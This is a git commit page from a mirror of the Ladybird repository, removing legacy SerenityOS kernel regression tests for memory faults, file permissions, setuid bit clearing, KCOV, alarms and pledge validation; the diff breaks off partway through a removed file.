mirror of
https://github.com/LadybirdBrowser/ladybird.git
synced 2024-11-21 23:20:20 +00:00
Tests: Remove tests for unused components
This commit is contained in:
parent
44c8d42157
commit
cc435e7a78
Notes:
sideshowbarker
2024-07-17 08:27:05 +09:00
Author: https://github.com/tcl3 Commit: https://github.com/LadybirdBrowser/ancient-history/commit/cc435e7a78
95 changed files with 0 additions and 10734 deletions
|
@ -1,74 +0,0 @@
|
|||
set(TEST_SOURCES
|
||||
bind-local-socket-to-symlink.cpp
|
||||
crash-fcntl-invalid-cmd.cpp
|
||||
elf-execve-mmap-race.cpp
|
||||
fuzz-syscalls.cpp
|
||||
kill-pidtid-confusion.cpp
|
||||
mmap-write-into-running-programs-executable-file.cpp
|
||||
mprotect-multi-region-mprotect.cpp
|
||||
munmap-multi-region-unmapping.cpp
|
||||
nanosleep-race-outbuf-munmap.cpp
|
||||
null-deref-close-during-select.cpp
|
||||
null-deref-crash-during-pthread_join.cpp
|
||||
path-resolution-race.cpp
|
||||
pthread-cond-timedwait-example.cpp
|
||||
setpgid-across-sessions-without-leader.cpp
|
||||
siginfo-example.cpp
|
||||
stress-truncate.cpp
|
||||
stress-writeread.cpp
|
||||
uaf-close-while-blocked-in-read.cpp
|
||||
unveil-symlinks.cpp
|
||||
)
|
||||
|
||||
if (NOT CMAKE_SYSTEM_PROCESSOR STREQUAL "aarch64")
|
||||
list(APPEND TEST_SOURCES elf-symbolication-kernel-read-exploit.cpp)
|
||||
endif()
|
||||
|
||||
# FIXME: These tests do not use LibTest
|
||||
foreach(source IN LISTS TEST_SOURCES)
|
||||
get_filename_component(test_name "${source}" NAME_WE)
|
||||
add_executable("${test_name}" "${source}")
|
||||
target_link_libraries("${test_name}" PRIVATE LibCore)
|
||||
serenity_set_implicit_links("${test_name}")
|
||||
install(TARGETS "${test_name}" RUNTIME DESTINATION usr/Tests/Kernel/Legacy)
|
||||
endforeach()
|
||||
|
||||
target_link_libraries(fuzz-syscalls PRIVATE LibSystem)
|
||||
|
||||
serenity_test("crash.cpp" Kernel MAIN_ALREADY_DEFINED)
|
||||
|
||||
set(LIBTEST_BASED_SOURCES
|
||||
TestEmptyPrivateInodeVMObject.cpp
|
||||
TestEmptySharedInodeVMObject.cpp
|
||||
TestExt2FS.cpp
|
||||
TestFileSystemDirentTypes.cpp
|
||||
TestInvalidUIDSet.cpp
|
||||
TestSharedInodeVMObject.cpp
|
||||
TestPosixFallocate.cpp
|
||||
TestPrivateInodeVMObject.cpp
|
||||
TestKernelAlarm.cpp
|
||||
TestKernelFilePermissions.cpp
|
||||
TestKernelPledge.cpp
|
||||
TestKernelUnveil.cpp
|
||||
TestLoopDevice.cpp
|
||||
TestMemoryDeviceMmap.cpp
|
||||
TestMunMap.cpp
|
||||
TestProcFS.cpp
|
||||
TestProcFSWrite.cpp
|
||||
TestSigAltStack.cpp
|
||||
TestSigHandler.cpp
|
||||
TestSigWait.cpp
|
||||
TestTCPSocket.cpp
|
||||
)
|
||||
|
||||
if (ENABLE_KERNEL_COVERAGE_COLLECTION)
|
||||
list(APPEND LIBTEST_BASED_SOURCES TestKCOV.cpp)
|
||||
endif()
|
||||
|
||||
if (NOT CMAKE_SYSTEM_PROCESSOR STREQUAL "aarch64")
|
||||
list(APPEND LIBTEST_BASED_SOURCES TestEFault.cpp)
|
||||
endif()
|
||||
|
||||
foreach(libtest_source IN LISTS LIBTEST_BASED_SOURCES)
|
||||
serenity_test("${libtest_source}" Kernel)
|
||||
endforeach()
|
|
@ -1,93 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2022, Andreas Kling <kling@serenityos.org>
|
||||
* Copyright (c) 2021, Andrew Kaster <akaster@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Assertions.h>
|
||||
#include <AK/Format.h>
|
||||
#include <AK/Types.h>
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/mman.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define EXPECT_OK(syscall, address, size) \
|
||||
do { \
|
||||
errno = 0; \
|
||||
rc = syscall(fd, (void*)(address), (size_t)(size)); \
|
||||
EXPECT(rc >= 0); \
|
||||
if (rc < 0) { \
|
||||
warnln("Expected success: " #syscall "({:p}, {}), got rc={}, errno={}", (void*)(address), (size_t)(size), rc, errno); \
|
||||
} \
|
||||
} while (0)
|
||||
|
||||
#define EXPECT_EFAULT(syscall, address, size) \
|
||||
do { \
|
||||
errno = 0; \
|
||||
rc = syscall(fd, (void*)(address), (size_t)(size)); \
|
||||
EXPECT(rc < 0); \
|
||||
EXPECT_EQ(errno, EFAULT); \
|
||||
if (rc >= 0 || errno != EFAULT) { \
|
||||
warnln("Expected EFAULT: " #syscall "({:p}, {}), got rc={}, errno={}", (void*)(address), (size_t)(size), rc, errno); \
|
||||
} \
|
||||
} while (0)
|
||||
|
||||
TEST_CASE(test_efault)
|
||||
{
|
||||
int fd = open("/dev/zero", O_RDONLY);
|
||||
int rc = -1;
|
||||
|
||||
// Make an inaccessible hole before the next mapping.
|
||||
(void)mmap(nullptr, 4096, PROT_NONE, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
|
||||
|
||||
// Test a one-page mapping (4KB)
|
||||
u8* one_page = (u8*)mmap(nullptr, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
|
||||
VERIFY(one_page);
|
||||
EXPECT_OK(read, one_page, 4096);
|
||||
EXPECT_EFAULT(read, one_page, 4097);
|
||||
EXPECT_EFAULT(read, one_page - 1, 4096);
|
||||
|
||||
// Make an unused hole mapping to create some inaccessible distance between our one and two-page mappings.
|
||||
(void)mmap(nullptr, 16384, PROT_NONE, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
|
||||
|
||||
// Test a two-page mapping (8KB)
|
||||
u8* two_page = (u8*)mmap(nullptr, 8192, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
|
||||
VERIFY(two_page);
|
||||
|
||||
EXPECT_OK(read, two_page, 4096);
|
||||
EXPECT_OK(read, two_page + 4096, 4096);
|
||||
EXPECT_OK(read, two_page, 8192);
|
||||
EXPECT_OK(read, two_page + 4095, 4097);
|
||||
EXPECT_OK(read, two_page + 1, 8191);
|
||||
EXPECT_EFAULT(read, two_page, 8193);
|
||||
EXPECT_EFAULT(read, two_page - 1, 1);
|
||||
|
||||
// Check validation of pages between the first and last address.
|
||||
ptrdiff_t distance = two_page - one_page;
|
||||
EXPECT_EFAULT(read, one_page, (u32)distance + 1024);
|
||||
|
||||
constexpr auto user_range_ceiling = (sizeof(void*) == 4 ? 0xbe000000u : 0x1ffe000000);
|
||||
u8* jerk_page = nullptr;
|
||||
|
||||
// Test every kernel page just because.
|
||||
constexpr auto kernel_range_ceiling = (sizeof(void*) == 4 ? 0xffffffffu : 0x203fffffff);
|
||||
for (u64 kernel_address = user_range_ceiling; kernel_address <= kernel_range_ceiling; kernel_address += PAGE_SIZE) {
|
||||
jerk_page = (u8*)mmap((void*)kernel_address, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
|
||||
EXPECT_EQ(jerk_page, MAP_FAILED);
|
||||
EXPECT_EQ(errno, EFAULT);
|
||||
}
|
||||
|
||||
// Test the page just below where the user VM ends.
|
||||
jerk_page = (u8*)mmap((void*)(user_range_ceiling - PAGE_SIZE), PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
|
||||
EXPECT_EQ(jerk_page, (u8*)(user_range_ceiling - PAGE_SIZE));
|
||||
|
||||
EXPECT_OK(read, jerk_page, PAGE_SIZE);
|
||||
EXPECT_EFAULT(read, jerk_page, PAGE_SIZE + 1);
|
||||
|
||||
// Test something that would wrap around the 2^32 mark.
|
||||
EXPECT_EFAULT(read, jerk_page, 0x50000000);
|
||||
}
|
|
@ -1,39 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2022, Liav A. <liavalb@hotmail.co.il>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <signal.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
static u8* private_ptr = nullptr;
|
||||
|
||||
static void private_zero_length_inode_vmobject_sync_signal_handler(int)
|
||||
{
|
||||
auto rc = msync(private_ptr, 0x1000, MS_ASYNC);
|
||||
EXPECT(rc == 0);
|
||||
rc = munmap(private_ptr, 0x1000);
|
||||
EXPECT(rc == 0);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
TEST_CASE(private_zero_length_inode_vmobject_sync)
|
||||
{
|
||||
{
|
||||
struct sigaction new_action {
|
||||
{ private_zero_length_inode_vmobject_sync_signal_handler }, 0, 0
|
||||
};
|
||||
int rc = sigaction(SIGBUS, &new_action, nullptr);
|
||||
VERIFY(rc == 0);
|
||||
}
|
||||
int fd = open("/tmp/private_msync_test", O_RDWR | O_CREAT, 0644);
|
||||
VERIFY(fd >= 0);
|
||||
private_ptr = (u8*)mmap(nullptr, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
|
||||
EXPECT(private_ptr != MAP_FAILED);
|
||||
private_ptr[0] = 0x1;
|
||||
VERIFY_NOT_REACHED();
|
||||
}
|
|
@ -1,39 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2022, Liav A. <liavalb@hotmail.co.il>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <signal.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
static u8* shared_ptr = nullptr;
|
||||
|
||||
static void shared_zero_length_inode_vmobject_sync_signal_handler(int)
|
||||
{
|
||||
auto rc = msync(shared_ptr, 0x1000, MS_ASYNC);
|
||||
EXPECT(rc == 0);
|
||||
rc = munmap(shared_ptr, 0x1000);
|
||||
EXPECT(rc == 0);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
TEST_CASE(shared_zero_length_inode_vmobject_sync)
|
||||
{
|
||||
{
|
||||
struct sigaction new_action {
|
||||
{ shared_zero_length_inode_vmobject_sync_signal_handler }, 0, 0
|
||||
};
|
||||
int rc = sigaction(SIGBUS, &new_action, nullptr);
|
||||
VERIFY(rc == 0);
|
||||
}
|
||||
int fd = open("/tmp/shared_msync_test", O_RDWR | O_CREAT, 0644);
|
||||
VERIFY(fd >= 0);
|
||||
shared_ptr = (u8*)mmap(nullptr, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
|
||||
EXPECT(shared_ptr != MAP_FAILED);
|
||||
shared_ptr[0] = 0x1;
|
||||
VERIFY_NOT_REACHED();
|
||||
}
|
|
@ -1,31 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2023, Tim Ledbetter <timledbetter@gmail.com>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
|
||||
TEST_CASE(test_uid_and_gid_high_bits_are_set)
|
||||
{
|
||||
static constexpr auto TEST_FILE_PATH = "/home/anon/.ext2_test";
|
||||
|
||||
auto uid = geteuid();
|
||||
EXPECT_EQ(uid, 0u);
|
||||
|
||||
auto fd = open(TEST_FILE_PATH, O_CREAT);
|
||||
auto cleanup_guard = ScopeGuard([&] {
|
||||
close(fd);
|
||||
unlink(TEST_FILE_PATH);
|
||||
});
|
||||
|
||||
EXPECT_EQ(setuid(0), 0);
|
||||
EXPECT_EQ(fchown(fd, 65536, 65536), 0);
|
||||
|
||||
struct stat st;
|
||||
EXPECT_EQ(fstat(fd, &st), 0);
|
||||
EXPECT_EQ(st.st_uid, 65536u);
|
||||
EXPECT_EQ(st.st_gid, 65536u);
|
||||
}
|
|
@ -1,124 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2024, Liav A. <liavalb@hotmail.co.il>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <Kernel/API/POSIX/dirent.h>
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <dirent.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
|
||||
TEST_CASE(test_sysfs_root_directory)
|
||||
{
|
||||
auto dirfd = open("/sys/", O_RDONLY | O_DIRECTORY);
|
||||
auto cleanup_guard = ScopeGuard([&] {
|
||||
close(dirfd);
|
||||
});
|
||||
|
||||
DIR* dir = fdopendir(dirfd);
|
||||
EXPECT(dir != nullptr);
|
||||
|
||||
auto cleanup_dir_guard = ScopeGuard([&] {
|
||||
closedir(dir);
|
||||
});
|
||||
|
||||
auto* _dirent = readdir(dir);
|
||||
EXPECT(_dirent != nullptr);
|
||||
// NOTE: We should see '.'
|
||||
EXPECT_EQ(_dirent->d_type, DT_DIR);
|
||||
|
||||
_dirent = readdir(dir);
|
||||
EXPECT(_dirent != nullptr);
|
||||
// NOTE: We should see '..'
|
||||
EXPECT_EQ(_dirent->d_type, DT_DIR);
|
||||
|
||||
while (true) {
|
||||
_dirent = readdir(dir);
|
||||
if (_dirent == nullptr)
|
||||
break;
|
||||
// NOTE: We should only see a directory entry in the /sys directory
|
||||
EXPECT_EQ(_dirent->d_type, DT_DIR);
|
||||
}
|
||||
}
|
||||
|
||||
TEST_CASE(test_devpts_root_directory)
|
||||
{
|
||||
auto dirfd = open("/dev/pts/", O_RDONLY | O_DIRECTORY);
|
||||
auto cleanup_guard = ScopeGuard([&] {
|
||||
close(dirfd);
|
||||
});
|
||||
|
||||
DIR* dir = fdopendir(dirfd);
|
||||
EXPECT(dir != nullptr);
|
||||
|
||||
auto cleanup_dir_guard = ScopeGuard([&] {
|
||||
closedir(dir);
|
||||
});
|
||||
|
||||
auto* _dirent = readdir(dir);
|
||||
EXPECT(_dirent != nullptr);
|
||||
// NOTE: We should see '.'
|
||||
EXPECT_EQ(_dirent->d_type, DT_DIR);
|
||||
|
||||
_dirent = readdir(dir);
|
||||
EXPECT(_dirent != nullptr);
|
||||
// NOTE: We should see '..'
|
||||
EXPECT_EQ(_dirent->d_type, DT_DIR);
|
||||
}
|
||||
|
||||
TEST_CASE(test_devloop_root_directory)
|
||||
{
|
||||
auto dirfd = open("/dev/loop/", O_RDONLY | O_DIRECTORY);
|
||||
auto cleanup_guard = ScopeGuard([&] {
|
||||
close(dirfd);
|
||||
});
|
||||
|
||||
DIR* dir = fdopendir(dirfd);
|
||||
EXPECT(dir != nullptr);
|
||||
|
||||
auto cleanup_dir_guard = ScopeGuard([&] {
|
||||
closedir(dir);
|
||||
});
|
||||
|
||||
auto* _dirent = readdir(dir);
|
||||
EXPECT(_dirent != nullptr);
|
||||
// NOTE: We should see '.'
|
||||
EXPECT_EQ(_dirent->d_type, DT_DIR);
|
||||
|
||||
_dirent = readdir(dir);
|
||||
EXPECT(_dirent != nullptr);
|
||||
// NOTE: We should see '..'
|
||||
EXPECT_EQ(_dirent->d_type, DT_DIR);
|
||||
}
|
||||
|
||||
TEST_CASE(test_procfs_root_directory)
|
||||
{
|
||||
auto dirfd = open("/proc/", O_RDONLY | O_DIRECTORY);
|
||||
auto cleanup_guard = ScopeGuard([&] {
|
||||
close(dirfd);
|
||||
});
|
||||
|
||||
DIR* dir = fdopendir(dirfd);
|
||||
EXPECT(dir != nullptr);
|
||||
|
||||
auto cleanup_dir_guard = ScopeGuard([&] {
|
||||
closedir(dir);
|
||||
});
|
||||
|
||||
auto* _dirent = readdir(dir);
|
||||
EXPECT(_dirent != nullptr);
|
||||
// NOTE: We should see '.' now
|
||||
EXPECT_EQ(_dirent->d_type, DT_DIR);
|
||||
|
||||
_dirent = readdir(dir);
|
||||
EXPECT(_dirent != nullptr);
|
||||
// NOTE: We should see '..' now
|
||||
EXPECT_EQ(_dirent->d_type, DT_DIR);
|
||||
|
||||
_dirent = readdir(dir);
|
||||
EXPECT(_dirent != nullptr);
|
||||
// NOTE: We should see 'self' now
|
||||
EXPECT_EQ(_dirent->d_type, DT_LNK);
|
||||
}
|
|
@ -1,28 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, Liav A. <liavalb@hotmail.co.il>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <errno.h>
|
||||
#include <unistd.h>
|
||||
|
||||
TEST_CASE(test_invalid_set_uid_parameters)
|
||||
{
|
||||
auto res = setuid(-1);
|
||||
EXPECT_EQ(res, -1);
|
||||
EXPECT_EQ(errno, EINVAL);
|
||||
|
||||
res = seteuid(-1);
|
||||
EXPECT_EQ(res, -1);
|
||||
EXPECT_EQ(errno, EINVAL);
|
||||
|
||||
res = setgid(-1);
|
||||
EXPECT_EQ(res, -1);
|
||||
EXPECT_EQ(errno, EINVAL);
|
||||
|
||||
res = setegid(-1);
|
||||
EXPECT_EQ(res, -1);
|
||||
EXPECT_EQ(errno, EINVAL);
|
||||
}
|
|
@ -1,84 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2024, Space Meyer <git@the-space.agency>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <Kernel/API/kcov.h>
|
||||
#include <Kernel/Sections.h>
|
||||
#include <LibCore/System.h>
|
||||
#include <LibMain/Main.h>
|
||||
#include <LibTest/Macros.h>
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/mman.h>
|
||||
#include <unistd.h>
|
||||
|
||||
// LibTests runs multithreaded, but KCOV is designed so that only one thread per process can
|
||||
// open() the KCOV device at any given time. As a workaround we fork() before every test.
|
||||
// In the child we then run the actual test. In the parent we wait for the child to exit
|
||||
// and then exit the parent.
|
||||
static void fork_and_kill_parent()
|
||||
{
|
||||
int pid = fork();
|
||||
EXPECT(pid >= 0);
|
||||
if (pid > 0) { // parent
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
||||
}
|
||||
|
||||
TEST_CASE(kcov_basic)
|
||||
{
|
||||
fork_and_kill_parent();
|
||||
constexpr size_t num_entries = 1024 * 100;
|
||||
|
||||
int fd = TRY_OR_FAIL(Core::System::open("/dev/kcov"sv, O_RDWR));
|
||||
TRY_OR_FAIL(Core::System::ioctl(fd, KCOV_SETBUFSIZE, num_entries));
|
||||
kcov_pc_t* cover = (kcov_pc_t*)TRY_OR_FAIL(Core::System::mmap(NULL, num_entries * KCOV_ENTRY_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0));
|
||||
TRY_OR_FAIL(Core::System::ioctl(fd, KCOV_ENABLE));
|
||||
cover[0] = 0;
|
||||
|
||||
// Example syscall so we actually cover some kernel code.
|
||||
getppid();
|
||||
|
||||
TRY_OR_FAIL(Core::System::ioctl(fd, KCOV_DISABLE));
|
||||
|
||||
u64 cov_idx = cover[0];
|
||||
for (size_t idx = 1; idx <= cov_idx; idx++)
|
||||
// If we enforced disable_kaslr, we could check if we actually covered addresses contained
|
||||
// by getppid(). However that would make it harder to run this test. It's also not really
|
||||
// required, as recording bogus PCs is not a common failure mode for KCOV in my experience.
|
||||
ASSUME(cover[idx] > KERNEL_MAPPING_BASE);
|
||||
|
||||
// cover[0] contains the recorded PC count, followed by the recorded PCs. Let's make a
|
||||
// conservative guess. We should record way more PCs, even for a simple getppid().
|
||||
ASSUME(cover[0] > 10);
|
||||
|
||||
TRY_OR_FAIL(Core::System::munmap(const_cast<u64*>(cover), num_entries * KCOV_ENTRY_SIZE));
|
||||
TRY_OR_FAIL(Core::System::close(fd));
|
||||
}
|
||||
|
||||
BENCHMARK_CASE(kcov_loop)
|
||||
{
|
||||
fork_and_kill_parent();
|
||||
constexpr int iterations = 100000;
|
||||
constexpr size_t num_entries = 1024 * 100;
|
||||
|
||||
int fd = TRY_OR_FAIL(Core::System::open("/dev/kcov"sv, O_RDWR));
|
||||
TRY_OR_FAIL(Core::System::ioctl(fd, KCOV_SETBUFSIZE, num_entries));
|
||||
kcov_pc_t* cover = (kcov_pc_t*)TRY_OR_FAIL(Core::System::mmap(NULL, num_entries * KCOV_ENTRY_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0));
|
||||
TRY_OR_FAIL(Core::System::ioctl(fd, KCOV_ENABLE));
|
||||
cover[0] = 0;
|
||||
|
||||
for (size_t i = 0; i < iterations; ++i)
|
||||
getppid();
|
||||
|
||||
TRY_OR_FAIL(Core::System::ioctl(fd, KCOV_DISABLE));
|
||||
|
||||
TRY_OR_FAIL(Core::System::munmap(const_cast<u64*>(cover), num_entries * KCOV_ENTRY_SIZE));
|
||||
TRY_OR_FAIL(Core::System::close(fd));
|
||||
}
|
|
@ -1,74 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, Brian Gianforcaro <bgianf@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Atomic.h>
|
||||
#include <AK/Time.h>
|
||||
#include <LibCore/ElapsedTimer.h>
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <signal.h>
|
||||
#include <unistd.h>
|
||||
|
||||
class SuccessContext {
|
||||
public:
|
||||
static Atomic<bool> alarm_fired;
|
||||
|
||||
static Core::ElapsedTimer signal_timer;
|
||||
|
||||
static constexpr auto timer_value = Duration::from_seconds(1);
|
||||
|
||||
static void test_signal_handler(int signal)
|
||||
{
|
||||
auto actual_duration = SuccessContext::signal_timer.elapsed_time();
|
||||
auto expected_duration = SuccessContext::timer_value;
|
||||
|
||||
// Add a small buffer to allow for latency on the system.
|
||||
constexpr auto buffer_duration = Duration::from_milliseconds(50);
|
||||
|
||||
dbgln("Signal Times - Actual: {} Expected: {}", actual_duration.to_milliseconds(), expected_duration.to_milliseconds());
|
||||
EXPECT(actual_duration >= expected_duration);
|
||||
EXPECT(actual_duration < expected_duration + buffer_duration);
|
||||
|
||||
EXPECT_EQ(signal, SIGALRM);
|
||||
SuccessContext::alarm_fired = true;
|
||||
}
|
||||
};
|
||||
|
||||
Atomic<bool> SuccessContext::alarm_fired { false };
|
||||
Core::ElapsedTimer SuccessContext::signal_timer {};
|
||||
|
||||
TEST_CASE(success_case)
|
||||
{
|
||||
signal(SIGALRM, SuccessContext::test_signal_handler);
|
||||
|
||||
SuccessContext::signal_timer.start();
|
||||
auto previous_time = alarm(SuccessContext::timer_value.to_seconds());
|
||||
EXPECT_EQ(previous_time, 0u);
|
||||
|
||||
auto sleep_time = SuccessContext::timer_value + Duration::from_seconds(1);
|
||||
sleep(sleep_time.to_seconds());
|
||||
|
||||
EXPECT(SuccessContext::alarm_fired);
|
||||
}
|
||||
|
||||
// Regression test for issues #9071
|
||||
// See: https://github.com/SerenityOS/serenity/issues/9071
|
||||
TEST_CASE(regression_inifinite_loop)
|
||||
{
|
||||
constexpr auto hour_long_timer_value = Duration::from_seconds(60 * 60);
|
||||
|
||||
// Create an alarm timer significantly far into the future.
|
||||
auto previous_time = alarm(hour_long_timer_value.to_seconds());
|
||||
EXPECT_EQ(previous_time, 0u);
|
||||
|
||||
// Update the alarm with a zero value before the previous timer expires.
|
||||
previous_time = alarm(0);
|
||||
EXPECT_EQ(previous_time, hour_long_timer_value.to_seconds());
|
||||
|
||||
// Update the alarm with a zero value again, this shouldn't get stuck
|
||||
// in an infinite loop trying to cancel the previous timer in the kernel.
|
||||
previous_time = alarm(0);
|
||||
EXPECT_EQ(previous_time, 0u);
|
||||
}
|
|
@ -1,100 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2020-2021, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/ByteString.h>
|
||||
#include <LibFileSystem/FileSystem.h>
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
#include <unistd.h>
|
||||
|
||||
TEST_CASE(test_change_file_contents)
|
||||
{
|
||||
char path[] = "/tmp/suid.XXXXXX";
|
||||
auto fd = mkstemp(path);
|
||||
EXPECT(fd != -1);
|
||||
ftruncate(fd, 0);
|
||||
EXPECT(fchmod(fd, 06755) != -1);
|
||||
|
||||
char buffer[8] {};
|
||||
write(fd, buffer, sizeof(buffer));
|
||||
|
||||
struct stat s;
|
||||
EXPECT(fstat(fd, &s) != -1);
|
||||
close(fd);
|
||||
unlink(path);
|
||||
|
||||
EXPECT(!(s.st_mode & S_ISUID));
|
||||
EXPECT(!(s.st_mode & S_ISGID));
|
||||
}
|
||||
|
||||
TEST_CASE(test_change_file_ownership)
|
||||
{
|
||||
char path[] = "/tmp/suid.XXXXXX";
|
||||
auto fd = mkstemp(path);
|
||||
EXPECT(fd != -1);
|
||||
ftruncate(fd, 0);
|
||||
EXPECT(fchmod(fd, 06755) != -1);
|
||||
|
||||
fchown(fd, getuid(), getgid());
|
||||
|
||||
struct stat s;
|
||||
EXPECT(fstat(fd, &s) != -1);
|
||||
close(fd);
|
||||
unlink(path);
|
||||
|
||||
EXPECT(!(s.st_mode & S_ISUID));
|
||||
EXPECT(!(s.st_mode & S_ISGID));
|
||||
}
|
||||
|
||||
TEST_CASE(test_change_file_permissions)
|
||||
{
|
||||
char path[] = "/tmp/suid.XXXXXX";
|
||||
auto fd = mkstemp(path);
|
||||
EXPECT(fd != -1);
|
||||
ftruncate(fd, 0);
|
||||
EXPECT(fchmod(fd, 06755) != -1);
|
||||
|
||||
fchmod(fd, 0755);
|
||||
|
||||
struct stat s;
|
||||
EXPECT(fstat(fd, &s) != -1);
|
||||
close(fd);
|
||||
unlink(path);
|
||||
|
||||
EXPECT(!(s.st_mode & S_ISUID));
|
||||
EXPECT(!(s.st_mode & S_ISGID));
|
||||
}
|
||||
|
||||
TEST_CASE(test_change_file_location)
|
||||
{
|
||||
char path[] = "/tmp/suid.XXXXXX";
|
||||
auto fd = mkstemp(path);
|
||||
EXPECT(fd != -1);
|
||||
ftruncate(fd, 0);
|
||||
EXPECT(fchmod(fd, 06755) != -1);
|
||||
|
||||
auto suid_path = TRY_OR_FAIL(FileSystem::read_link(ByteString::formatted("/proc/{}/fd/{}", getpid(), fd)));
|
||||
EXPECT(suid_path.characters());
|
||||
auto new_path = ByteString::formatted("{}.renamed", suid_path);
|
||||
|
||||
rename(suid_path.characters(), new_path.characters());
|
||||
|
||||
struct stat s;
|
||||
EXPECT(lstat(new_path.characters(), &s) != -1);
|
||||
close(fd);
|
||||
unlink(path);
|
||||
|
||||
// Renamed file should retain set-uid/set-gid permissions
|
||||
EXPECT(s.st_mode & S_ISUID);
|
||||
EXPECT(s.st_mode & S_ISGID);
|
||||
|
||||
unlink(new_path.characters());
|
||||
}
|
|
@ -1,57 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2021, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/ByteString.h>
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <errno.h>
|
||||
#include <unistd.h>
|
||||
|
||||
TEST_CASE(test_nonexistent_pledge)
|
||||
{
|
||||
auto res = pledge("testing123", "notthere");
|
||||
if (res >= 0)
|
||||
FAIL("Pledging on existent promises should fail.");
|
||||
}
|
||||
|
||||
TEST_CASE(test_pledge_argument_validation)
|
||||
{
|
||||
auto const long_argument = ByteString::repeated('a', 2048);
|
||||
|
||||
auto res = pledge(long_argument.characters(), "stdio");
|
||||
EXPECT_EQ(res, -1);
|
||||
EXPECT_EQ(errno, E2BIG);
|
||||
|
||||
res = pledge("stdio", long_argument.characters());
|
||||
EXPECT_EQ(res, -1);
|
||||
EXPECT_EQ(errno, E2BIG);
|
||||
|
||||
res = pledge(long_argument.characters(), long_argument.characters());
|
||||
EXPECT_EQ(res, -1);
|
||||
EXPECT_EQ(errno, E2BIG);
|
||||
|
||||
res = pledge("fake", "stdio");
|
||||
EXPECT_EQ(res, -1);
|
||||
EXPECT_EQ(errno, EINVAL);
|
||||
|
||||
res = pledge("stdio", "fake");
|
||||
EXPECT_EQ(res, -1);
|
||||
EXPECT_EQ(errno, EINVAL);
|
||||
}
|
||||
|
||||
TEST_CASE(test_pledge_failures)
|
||||
{
|
||||
auto res = pledge("stdio unix rpath", "stdio");
|
||||
if (res < 0)
|
||||
FAIL("Initial pledge is expected to work.");
|
||||
|
||||
res = pledge("stdio unix", "stdio unix");
|
||||
if (res >= 0)
|
||||
FAIL("Additional execpromise \"unix\" should have failed");
|
||||
|
||||
res = pledge("stdio", "stdio");
|
||||
if (res < 0)
|
||||
FAIL("Reducing promises is expected to work.");
|
||||
}
|
|
@ -1,91 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <errno.h>
|
||||
#include <unistd.h>
|
||||
|
||||
TEST_CASE(test_argument_validation)
|
||||
{
|
||||
